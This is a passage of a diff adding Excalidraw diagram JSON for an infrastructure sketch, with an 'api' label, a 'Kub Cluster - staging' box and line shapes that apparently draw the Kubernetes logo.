+ "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2353.9605592817907, + "y": -908.6833988721064, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 55.306220439054265, + "height": 50.15249347225876, + "seed": 1583298744, + "groupIds": [ + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false, + "fontSize": 40.121994777807004, + "fontFamily": 1, + "text": "api", + "rawText": "api", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "api", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "rectangle", + "version": 972, + "versionNonce": 833916128, + "index": "c0UadV", + "isDeleted": false, + "id": "2vdYORzT9QWzW2gpQGorx", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "dashed", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 1420.5950147803267, + "y": -1168.9586045663812, + "strokeColor": "#0091e2", + "backgroundColor": "transparent", + "width": 1563.3108480603235, + "height": 404.43657643330806, + "seed": 1825161912, + "groupIds": [ + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 2835, + "versionNonce": 693104864, + "index": "c0Uae", + "isDeleted": false, + "id": "rOk1XpEx", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1589.989025153036, + "y": -1128.1248666850813, + "strokeColor": "#343a40", + "backgroundColor": "transparent", + "width": 618.739920285839, + "height": 72.80665892698461, + "seed": 1156623288, + "groupIds": [ + "iaaPstGRqUq2Jz8vllj8z", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false, + "fontSize": 58.24532714158768, + "fontFamily": 1, + "text": "Kub Cluster - staging", + "rawText": "Kub Cluster - staging", + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "Kub Cluster - staging", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "rectangle", + "version": 455, + "versionNonce": 1608439008, + "index": "c0Uaf", + "isDeleted": false, + "id": "n9k_QWEdH2XgByzeY9cwr", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1423.7654026728019, + "y": -692.2768355465209, + "strokeColor": "#1971c2", + "backgroundColor": "#a5d8ff", + "width": 809.1994183104124, + "height": 155.1877080149376, + "seed": 1922244024, + "groupIds": [ + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 2967, + "versionNonce": 720451808, + "index": "c0UafV", + "isDeleted": false, + "id": "fpFH0TDxeS-ketdMFVoQb", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 1471.7055099349695, + "y": -668.1152904743285, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 137.25462749862166, + "height": 133.16745907115097, + "seed": 1807814584, + "groupIds": [ + "snEUyuwEd1tAR_918B1wX", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -19.858832295391053, + 9.357060858608907 + ], + [ + -20.82335571705872, + 9.934367540497373 + ], + [ + -21.58483177670788, + 10.500035470522374 + ], + [ + -22.215769083274317, + 11.065703400547589 + ], + [ + -22.933732225229196, + 11.827179460196618 + ], + [ + -23.629938908336964, + 12.740950731775676 + ], + [ + -24.1303374618207, + 13.719991379895877 + ], + [ + -24.413171426833227, + 14.633762651474955 + ], + [ + -24.61906785092235, + 15.666240708546752 + ], + [ + -31.404699872680503, + 44.470555534225085 + ], + [ + -36.139875597311864, + 65.66503613648766 + ], + [ + -36.461013089595156, + 66.77644283259525 + ], + [ + -36.58832208992515, + 67.96466016900914 + ], + [ + -36.60954025664686, + 69.04678667181453 + ], + [ + -36.4988155370519, + 70.07189243313978 + ], + [ + -36.31248592254336, + 70.9617869223158 + ], + [ + -36.10509788423565, + 71.57574350360086 + ], + [ + -35.786348570192786, + 72.43537665889333 + ], + [ + -35.21648200853325, + 73.40077905596239 + ], + [ + -34.621367557948304, + 74.22233508077001 + ], + [ + -0.78345815250443, + 116.16474339119846 + ], + [ + -0.20459458385334983, + 116.70666797036043 + ], + [ + 0.5239201805040423, + 117.1923444799319 + ], + [ + 1.2726714660936267, + 117.67802098950364 + ], + [ + 2.041659272915325, + 118.04227837168219 + ], + [ + 2.851120122201344, + 118.32558966893248 + ], + [ + 3.741527056415997, + 118.52795488125383 + ], + [ + 4.692643554327056, + 118.6291374874146 + ], + [ + 5.578149305225253, + 118.66101475582445 + ], + [ + 59.02572434056597, + 118.64620612910471 + ], + [ + 60.048366234598966, + 118.52927263981837 + ], + [ + 61.03157027014318, + 118.30503312293976 + ], + [ + 62.03202349929343, + 118.04629521884928 + ], + [ + 62.894483179595284, + 117.56331779788017 + ], + [ + 63.756942859897336, + 116.99409440888077 + ], + [ + 64.60215334659313, + 116.33862505185147 + ], + [ + 65.2403735100166, + 115.66590650121607 + ], + [ + 65.83999394245127, + 114.9090601677334 + ], + [ + 99.3790812020678, + 73.19247433315671 + ], + [ + 99.8543364565285, + 72.33630865605096 + ], + [ + 100.1799397211241, + 71.49904311851941 + ], + [ + 100.389256105507, + 70.59200545286052 + ], + [ + 100.5753151138473, + 69.73148253928643 + ], + [ + 100.6450872419748, + 68.80118749758489 + ], + [ + 100.62182986593237, + 67.75460557567058 + ], + [ + 100.43577085759202, + 66.73128102979874 + ], + [ + 100.19066738385901, + 65.70232223946365 + ], + [ + 88.58032377422029, + 15.362319719741208 + ], + [ + 88.26863729766231, + 14.200846455948138 + ], + [ + 87.99822517284011, + 13.48685418895358 + ], + [ + 87.73509750100723, + 12.90304239344048 + ], + [ + 87.28339192131813, + 12.177574700955844 + ], + [ + 86.32921775971904, + 11.053061656579906 + ], + [ + 85.34808850349916, + 10.259864950571732 + ], + [ + 84.05653946052819, + 9.397861374824046 + ], + [ + 54.77277642773265, + -4.314769732447161 + ], + [ + 46.16428526619778, + -8.621429033990118 + ], + [ + 37.01495567873984, + -12.979327158328518 + ], + [ + 35.849966939695456, + -13.600651334868633 + ], + [ + 34.84625039378267, + -14.065788270779578 + ], + [ + 34.03838097877973, + -14.286116293053139 + ], + [ + 33.03466443286698, + -14.43300164123561 + ], + [ + 31.761658081953254, + -14.506444315326517 + ], + [ + 30.439689948312058, + -14.335078075780519 + ], + [ + 29.044279140579675, + -13.967864705324676 + ], + [ + 27.844715463757133, + -13.40480420395882 + ], + [ + 26.58024271160624, + -12.802637168235126 + ], + [ + 18.66731401225605, + -9.042037390326108 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "ellipse", + "version": 1090, + "versionNonce": 773266656, + "index": "c0Uag", + "isDeleted": false, + "id": "yyWB4rJZQNlHTAmMQZ8IF", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 1467.1056807175519, + "y": -650.6763982517855, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 74.34183425623006, + "height": 74.15515653402763, + "seed": 1635145912, + "groupIds": [ + "snEUyuwEd1tAR_918B1wX", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 2345, + "versionNonce": 450920672, + "index": "c0Uah", + "isDeleted": false, + "id": "FmfYpDlwG5ATZDVxqMwSw", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 1500.990944719125, + "y": -650.4378652365942, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 6.3788756196412235, + "height": 15.052704806665954, + "seed": 1671070136, + "groupIds": [ + "snEUyuwEd1tAR_918B1wX", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.1319200453525514, + -1.3567582753239884 + ], + [ + 0.40317332609588147, + -1.6900338069988166 + ], + [ + 0.6198323050239201, + -2.0566874636461985 + ], + [ + 0.8031591333476371, + -2.4233411202935806 + ], + [ + 0.9531538110670326, + -2.8733251534518454 + ], + [ + 1.01981811227565, + -3.3399752619122447 + ], + [ + 1.0625590378299277, + -3.7969673349736746 + ], + [ + 0.7698269827433162, + -7.973144195911549 + ], + [ + 0.6796992987072743, + -8.459208619909072 + ], + [ + 0.5698340791174369, + -8.956442638738753 + ], + [ + 0.4865037026066605, + -9.456424897803421 + ], + [ + 0.40317332609588225, + -9.973073232170222 + ], + [ + 0.3365090248872625, + -10.539719792443432 + ], + [ + 0.3365090248872633, + -10.989703825601694 + ], + [ + 0.3365090248872625, + -11.456353934062093 + ], + [ + 0.3855884572326688, + -11.953946452745052 + ], + [ + 0.4365054767002274, + -12.556314904004449 + ], + [ + 0.6531644556282425, + -13.106295388975523 + ], + [ + 0.986485961671352, + -13.539613346831649 + ], + [ + 1.3844561976693959, + -13.989944033949294 + ], + [ + 1.736459350268384, + -14.306252810730687 + ], + [ + 2.1697773081244343, + -14.506245714356508 + ], + [ + 2.58642919067832, + -14.672906467378066 + ], + [ + 2.9864149979300567, + -14.722904693284681 + ], + [ + 3.419732955786105, + -14.739570768586814 + ], + [ + 3.8363848383399968, + -14.68957254268041 + ], + [ + 4.269719340751213, + -14.57622967334042 + ], + [ + 4.586358226937001, + -14.406249262543701 + ], + [ + 4.91967973298011, + -14.172924208313404 + ], + [ + 5.153004787210311, + -13.939599154083304 + ], + [ + 5.419661992044782, + -13.6562758739466 + ], + [ + 5.636320970972819, + -13.356286518507961 + ], + [ + 5.783826858490086, + -13.000543693805266 + ], + [ + 5.969642477015928, + -12.62297920521299 + ], + [ + 6.08630500413103, + -12.256325548565606 + ], + [ + 6.13630323003749, + -11.873005816616091 + ], + [ + 6.163625197777948, + -11.155227505620381 + ], + [ + 6.169635380641811, + -10.739712696069466 + ], + [ + 6.102971079433167, + -10.189732211098184 + ], + [ + 6.036306778224549, + -9.739748177940129 + ], + [ + 5.91964425110945, + -9.18976769296885 + ], + [ + 5.86964602520297, + -8.723117584508657 + ], + [ + 5.769649573390031, + -8.27313355135039 + ], + [ + 5.6634870490272, + -7.374066077730169 + ], + [ + 5.436656391274203, + -3.52608445894531 + ], + [ + 5.4696602179512395, + -2.956655529962518 + ], + [ + 5.561377761617212, + -2.3532014007916944 + ], + [ + 5.869646025202968, + -1.856694560020371 + ], + [ + 6.335371790211968, + -1.4270998588804666 + ], + [ + 6.3788756196412235, + 0.3131340380791393 + ], + [ + 0.7448875491845107, + 0.28559200541991153 + ] + ] + }, + { + "type": "line", + "version": 2398, + "versionNonce": 1893557472, + "index": "c0UahV", + "isDeleted": false, + "id": "euVoFCFm6ufrH0OtUY0kE", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0.8686267165409003, + "x": 1535.525622486364, + "y": -634.0705177216482, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 6.3788756196412235, + "height": 15.052704806665954, + "seed": 1095862968, + "groupIds": [ + "snEUyuwEd1tAR_918B1wX", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.1319200453525514, + -1.3567582753239884 + ], + [ + 0.40317332609588147, + -1.6900338069988166 + ], + [ + 0.6198323050239201, + -2.0566874636461985 + ], + [ + 0.8031591333476371, + -2.4233411202935806 + ], + [ + 0.9531538110670326, + -2.8733251534518454 + ], + [ + 1.01981811227565, + -3.3399752619122447 + ], + [ + 1.0625590378299277, + -3.7969673349736746 + ], + [ + 0.7698269827433162, + -7.973144195911549 + ], + [ + 0.6796992987072743, + -8.459208619909072 + ], + [ + 0.5698340791174369, + -8.956442638738753 + ], + [ + 0.4865037026066605, + -9.456424897803421 + ], + [ + 0.40317332609588225, + -9.973073232170222 + ], + [ + 0.3365090248872625, + -10.539719792443432 + ], + [ + 0.3365090248872633, + -10.989703825601694 + ], + [ + 0.3365090248872625, + -11.456353934062093 + ], + [ + 0.3855884572326688, + -11.953946452745052 + ], + [ + 0.4365054767002274, + -12.556314904004449 + ], + [ + 0.6531644556282425, + -13.106295388975523 + ], + [ + 0.986485961671352, + -13.539613346831649 + ], + [ + 1.3844561976693959, + -13.989944033949294 + ], + [ + 1.736459350268384, + -14.306252810730687 + ], + [ + 2.1697773081244343, + -14.506245714356508 + ], + [ + 2.58642919067832, + -14.672906467378066 + ], + [ + 2.9864149979300567, + -14.722904693284681 + ], + [ + 3.419732955786105, + -14.739570768586814 + ], + [ + 3.8363848383399968, + -14.68957254268041 + ], + [ + 4.269719340751213, + -14.57622967334042 + ], + [ + 4.586358226937001, + -14.406249262543701 + ], + [ + 4.91967973298011, + -14.172924208313404 + ], + [ + 5.153004787210311, + -13.939599154083304 + ], + [ + 5.419661992044782, + -13.6562758739466 + ], + [ + 5.636320970972819, + -13.356286518507961 + ], + [ + 5.783826858490086, + -13.000543693805266 + ], + [ + 5.969642477015928, + -12.62297920521299 + ], + [ + 6.08630500413103, + -12.256325548565606 + ], + [ + 6.13630323003749, + -11.873005816616091 + ], + [ + 6.163625197777948, + -11.155227505620381 + ], + [ + 6.169635380641811, + -10.739712696069466 + ], + [ + 6.102971079433167, + -10.189732211098184 + ], + [ + 6.036306778224549, + -9.739748177940129 + ], + [ + 5.91964425110945, + -9.18976769296885 + ], + [ + 5.86964602520297, + -8.723117584508657 + ], + [ + 5.769649573390031, + -8.27313355135039 + ], + [ + 5.6634870490272, + -7.374066077730169 + ], + [ + 5.436656391274203, + -3.52608445894531 + ], + [ + 5.4696602179512395, + -2.956655529962518 + ], + [ + 5.561377761617212, + -2.3532014007916944 + ], + [ + 5.869646025202968, + -1.856694560020371 + ], + [ + 6.335371790211968, + -1.4270998588804666 + ], + [ + 6.3788756196412235, + 0.3131340380791393 + ], + [ + 0.7448875491845107, + 0.28559200541991153 + ] + ] + }, + { + "type": "line", + "version": 2419, + "versionNonce": 1033750752, + "index": "c0Uai", + "isDeleted": false, + "id": "1JyU_2x3I8ZxnX3a8tx82", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 1.7778883656625375, + "x": 1543.8936403416578, + "y": -596.6874944459382, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 6.3788756196412235, + "height": 15.052704806665954, + "seed": 1161786296, + "groupIds": [ + "snEUyuwEd1tAR_918B1wX", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.1319200453525514, + -1.3567582753239884 + ], + [ + 0.40317332609588147, + -1.6900338069988166 + ], + [ + 0.6198323050239201, + -2.0566874636461985 + ], + [ + 0.8031591333476371, + -2.4233411202935806 + ], + [ + 0.9531538110670326, + -2.8733251534518454 + ], + [ + 1.01981811227565, + -3.3399752619122447 + ], + [ + 1.0625590378299277, + -3.7969673349736746 + ], + [ + 0.7698269827433162, + -7.973144195911549 + ], + [ + 0.6796992987072743, + -8.459208619909072 + ], + [ + 0.5698340791174369, + -8.956442638738753 + ], + [ + 0.4865037026066605, + -9.456424897803421 + ], + [ + 0.40317332609588225, + -9.973073232170222 + ], + [ + 0.3365090248872625, + -10.539719792443432 + ], + [ + 0.3365090248872633, + -10.989703825601694 + ], + [ + 0.3365090248872625, + -11.456353934062093 + ], + [ + 0.3855884572326688, + -11.953946452745052 + ], + [ + 0.4365054767002274, + -12.556314904004449 + ], + [ + 0.6531644556282425, + -13.106295388975523 + ], + [ + 0.986485961671352, + -13.539613346831649 + ], + [ + 1.3844561976693959, + -13.989944033949294 + ], + [ + 1.736459350268384, + -14.306252810730687 + ], + [ + 2.1697773081244343, + -14.506245714356508 + ], + [ + 2.58642919067832, + -14.672906467378066 + ], + [ + 2.9864149979300567, + -14.722904693284681 + ], + [ + 3.419732955786105, + -14.739570768586814 + ], + [ + 3.8363848383399968, + -14.68957254268041 + ], + [ + 4.269719340751213, + -14.57622967334042 + ], + [ + 4.586358226937001, + -14.406249262543701 + ], + [ + 4.91967973298011, + -14.172924208313404 + ], + [ + 5.153004787210311, + -13.939599154083304 + ], + [ + 5.419661992044782, + -13.6562758739466 + ], + [ + 5.636320970972819, + -13.356286518507961 + ], + [ + 5.783826858490086, + -13.000543693805266 + ], + [ + 5.969642477015928, + -12.62297920521299 + ], + [ + 6.08630500413103, + -12.256325548565606 + ], + [ + 6.13630323003749, + -11.873005816616091 + ], + [ + 6.163625197777948, + -11.155227505620381 + ], + [ + 6.169635380641811, + -10.739712696069466 + ], + [ + 6.102971079433167, + -10.189732211098184 + ], + [ + 6.036306778224549, + -9.739748177940129 + ], + [ + 5.91964425110945, + -9.18976769296885 + ], + [ + 5.86964602520297, + -8.723117584508657 + ], + [ + 5.769649573390031, + -8.27313355135039 + ], + [ + 5.6634870490272, + -7.374066077730169 + ], + [ + 5.436656391274203, + -3.52608445894531 + ], + [ + 5.4696602179512395, + -2.956655529962518 + ], + [ + 5.561377761617212, + -2.3532014007916944 + ], + [ + 5.869646025202968, + -1.856694560020371 + ], + [ + 6.335371790211968, + -1.4270998588804666 + ], + [ + 6.3788756196412235, + 0.3131340380791393 + ], + [ + 0.7448875491845107, + 0.28559200541991153 + ] + ] + }, + { + "type": "line", + "version": 2465, + "versionNonce": 1555148000, + "index": "c0Uaj", + "isDeleted": false, + "id": "QWYv3hUih39UkseHdDvwL", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 2.6970035598078645, + "x": 1520.19275589101, + "y": -566.6809627187961, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 6.3788756196412235, + "height": 15.052704806665954, + "seed": 1166556344, + "groupIds": [ + "snEUyuwEd1tAR_918B1wX", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.1319200453525514, + -1.3567582753239884 + ], + [ + 0.40317332609588147, + -1.6900338069988166 + ], + [ + 0.6198323050239201, + -2.0566874636461985 + ], + [ + 0.8031591333476371, + -2.4233411202935806 + ], + [ + 0.9531538110670326, + -2.8733251534518454 + ], + [ + 1.01981811227565, + -3.3399752619122447 + ], + [ + 1.0625590378299277, + -3.7969673349736746 + ], + [ + 0.7698269827433162, + -7.973144195911549 + ], + [ + 0.6796992987072743, + -8.459208619909072 + ], + [ + 0.5698340791174369, + -8.956442638738753 + ], + [ + 0.4865037026066605, + -9.456424897803421 + ], + [ + 0.40317332609588225, + -9.973073232170222 + ], + [ + 0.3365090248872625, + -10.539719792443432 + ], + [ + 0.3365090248872633, + -10.989703825601694 + ], + [ + 0.3365090248872625, + -11.456353934062093 + ], + [ + 0.3855884572326688, + -11.953946452745052 + ], + [ + 0.4365054767002274, + -12.556314904004449 + ], + [ + 0.6531644556282425, + -13.106295388975523 + ], + [ + 0.986485961671352, + -13.539613346831649 + ], + [ + 1.3844561976693959, + -13.989944033949294 + ], + [ + 1.736459350268384, + -14.306252810730687 + ], + [ + 2.1697773081244343, + -14.506245714356508 + ], + [ + 2.58642919067832, + -14.672906467378066 + ], + [ + 2.9864149979300567, + -14.722904693284681 + ], + [ + 3.419732955786105, + -14.739570768586814 + ], + [ + 3.8363848383399968, + -14.68957254268041 + ], + [ + 4.269719340751213, + -14.57622967334042 + ], + [ + 4.586358226937001, + -14.406249262543701 + ], + [ + 4.91967973298011, + -14.172924208313404 + ], + [ + 5.153004787210311, + -13.939599154083304 + ], + [ + 5.419661992044782, + -13.6562758739466 + ], + [ + 5.636320970972819, + -13.356286518507961 + ], + [ + 5.783826858490086, + -13.000543693805266 + ], + [ + 5.969642477015928, + -12.62297920521299 + ], + [ + 6.08630500413103, + -12.256325548565606 + ], + [ + 6.13630323003749, + -11.873005816616091 + ], + [ + 6.163625197777948, + -11.155227505620381 + ], + [ + 6.169635380641811, + -10.739712696069466 + ], + [ + 6.102971079433167, + -10.189732211098184 + ], + [ + 6.036306778224549, + -9.739748177940129 + ], + [ + 5.91964425110945, + -9.18976769296885 + ], + [ + 5.86964602520297, + -8.723117584508657 + ], + [ + 5.769649573390031, + -8.27313355135039 + ], + [ + 5.6634870490272, + -7.374066077730169 + ], + [ + 5.436656391274203, + -3.52608445894531 + ], + [ + 5.4696602179512395, + -2.956655529962518 + ], + [ + 5.561377761617212, + -2.3532014007916944 + ], + [ + 5.869646025202968, + -1.856694560020371 + ], + [ + 6.335371790211968, + -1.4270998588804666 + ], + [ + 6.3788756196412235, + 0.3131340380791393 + ], + [ + 0.7448875491845107, + 0.28559200541991153 + ] + ] + }, + { + "type": "line", + "version": 2443, + "versionNonce": 933826784, + "index": "c0UajV", + "isDeleted": false, + "id": "CK0HMx5Cag9dnLBavCjTW", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 3.583969694432408, + "x": 1482.076031515833, + "y": -566.5768500850427, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 6.3788756196412235, + "height": 15.052704806665954, + "seed": 869262776, + "groupIds": [ + "snEUyuwEd1tAR_918B1wX", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.1319200453525514, + -1.3567582753239884 + ], + [ + 0.40317332609588147, + -1.6900338069988166 + ], + [ + 0.6198323050239201, + -2.0566874636461985 + ], + [ + 0.8031591333476371, + -2.4233411202935806 + ], + [ + 0.9531538110670326, + -2.8733251534518454 + ], + [ + 1.01981811227565, + -3.3399752619122447 + ], + [ + 1.0625590378299277, + -3.7969673349736746 + ], + [ + 0.7698269827433162, + -7.973144195911549 + ], + [ + 0.6796992987072743, + -8.459208619909072 + ], + [ + 0.5698340791174369, + -8.956442638738753 + ], + [ + 0.4865037026066605, + -9.456424897803421 + ], + [ + 0.40317332609588225, + -9.973073232170222 + ], + [ + 0.3365090248872625, + -10.539719792443432 + ], + [ + 0.3365090248872633, + -10.989703825601694 + ], + [ + 0.3365090248872625, + -11.456353934062093 + ], + [ + 0.3855884572326688, + -11.953946452745052 + ], + [ + 0.4365054767002274, + -12.556314904004449 + ], + [ + 0.6531644556282425, + -13.106295388975523 + ], + [ + 0.986485961671352, + -13.539613346831649 + ], + [ + 1.3844561976693959, + -13.989944033949294 + ], + [ + 1.736459350268384, + -14.306252810730687 + ], + [ + 2.1697773081244343, + -14.506245714356508 + ], + [ + 2.58642919067832, + -14.672906467378066 + ], + [ + 2.9864149979300567, + -14.722904693284681 + ], + [ + 3.419732955786105, + -14.739570768586814 + ], + [ + 3.8363848383399968, + -14.68957254268041 + ], + [ + 4.269719340751213, + -14.57622967334042 + ], + [ + 4.586358226937001, + -14.406249262543701 + ], + [ + 4.91967973298011, + -14.172924208313404 + ], + [ + 5.153004787210311, + -13.939599154083304 + ], + [ + 5.419661992044782, + -13.6562758739466 + ], + [ + 5.636320970972819, + -13.356286518507961 + ], + [ + 5.783826858490086, + -13.000543693805266 + ], + [ + 5.969642477015928, + -12.62297920521299 + ], + [ + 6.08630500413103, + -12.256325548565606 + ], + [ + 6.13630323003749, + -11.873005816616091 + ], + [ + 6.163625197777948, + -11.155227505620381 + ], + [ + 6.169635380641811, + -10.739712696069466 + ], + [ + 6.102971079433167, + -10.189732211098184 + ], + [ + 6.036306778224549, + -9.739748177940129 + ], + [ + 5.91964425110945, + -9.18976769296885 + ], + [ + 5.86964602520297, + -8.723117584508657 + ], + [ + 5.769649573390031, + -8.27313355135039 + ], + [ + 5.6634870490272, + -7.374066077730169 + ], + [ + 5.436656391274203, + -3.52608445894531 + ], + [ + 5.4696602179512395, + -2.956655529962518 + ], + [ + 5.561377761617212, + -2.3532014007916944 + ], + [ + 5.869646025202968, + -1.856694560020371 + ], + [ + 6.335371790211968, + -1.4270998588804666 + ], + [ + 6.3788756196412235, + 0.3131340380791393 + ], + [ + 0.7448875491845107, + 0.28559200541991153 + ] + ] + }, + { + "type": "line", + "version": 2429, + "versionNonce": 101971168, + "index": "c0Uak", + "isDeleted": false, + "id": "EhVP8vetkC7Wf_HiyqY_O", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 4.456659860702139, + "x": 1458.0082965609797, + "y": -596.4545374902516, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 6.3788756196412235, + "height": 15.052704806665954, + "seed": 758804152, + "groupIds": [ + "snEUyuwEd1tAR_918B1wX", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.1319200453525514, + -1.3567582753239884 + ], + [ + 0.40317332609588147, + -1.6900338069988166 + ], + [ + 0.6198323050239201, + -2.0566874636461985 + ], + [ + 0.8031591333476371, + -2.4233411202935806 + ], + [ + 0.9531538110670326, + -2.8733251534518454 + ], + [ + 1.01981811227565, + -3.3399752619122447 + ], + [ + 1.0625590378299277, + -3.7969673349736746 + ], + [ + 0.7698269827433162, + -7.973144195911549 + ], + [ + 0.6796992987072743, + -8.459208619909072 + ], + [ + 0.5698340791174369, + -8.956442638738753 + ], + [ + 0.4865037026066605, + -9.456424897803421 + ], + [ + 0.40317332609588225, + -9.973073232170222 + ], + [ + 0.3365090248872625, + -10.539719792443432 + ], + [ + 0.3365090248872633, + -10.989703825601694 + ], + [ + 0.3365090248872625, + -11.456353934062093 + ], + [ + 0.3855884572326688, + -11.953946452745052 + ], + [ + 0.4365054767002274, + -12.556314904004449 + ], + [ + 0.6531644556282425, + -13.106295388975523 + ], + [ + 0.986485961671352, + -13.539613346831649 + ], + [ + 1.3844561976693959, + -13.989944033949294 + ], + [ + 1.736459350268384, + -14.306252810730687 + ], + [ + 2.1697773081244343, + -14.506245714356508 + ], + [ + 2.58642919067832, + -14.672906467378066 + ], + [ + 2.9864149979300567, + -14.722904693284681 + ], + [ + 3.419732955786105, + -14.739570768586814 + ], + [ + 3.8363848383399968, + -14.68957254268041 + ], + [ + 4.269719340751213, + -14.57622967334042 + ], + [ + 4.586358226937001, + -14.406249262543701 + ], + [ + 4.91967973298011, + -14.172924208313404 + ], + [ + 5.153004787210311, + -13.939599154083304 + ], + [ + 5.419661992044782, + -13.6562758739466 + ], + [ + 5.636320970972819, + -13.356286518507961 + ], + [ + 5.783826858490086, + -13.000543693805266 + ], + [ + 5.969642477015928, + -12.62297920521299 + ], + [ + 6.08630500413103, + -12.256325548565606 + ], + [ + 6.13630323003749, + -11.873005816616091 + ], + [ + 6.163625197777948, + -11.155227505620381 + ], + [ + 6.169635380641811, + -10.739712696069466 + ], + [ + 6.102971079433167, + -10.189732211098184 + ], + [ + 6.036306778224549, + -9.739748177940129 + ], + [ + 5.91964425110945, + -9.18976769296885 + ], + [ + 5.86964602520297, + -8.723117584508657 + ], + [ + 5.769649573390031, + -8.27313355135039 + ], + [ + 5.6634870490272, + -7.374066077730169 + ], + [ + 5.436656391274203, + -3.52608445894531 + ], + [ + 5.4696602179512395, + -2.956655529962518 + ], + [ + 5.561377761617212, + -2.3532014007916944 + ], + [ + 5.869646025202968, + -1.856694560020371 + ], + [ + 6.335371790211968, + -1.4270998588804666 + ], + [ + 6.3788756196412235, + 0.3131340380791393 + ], + [ + 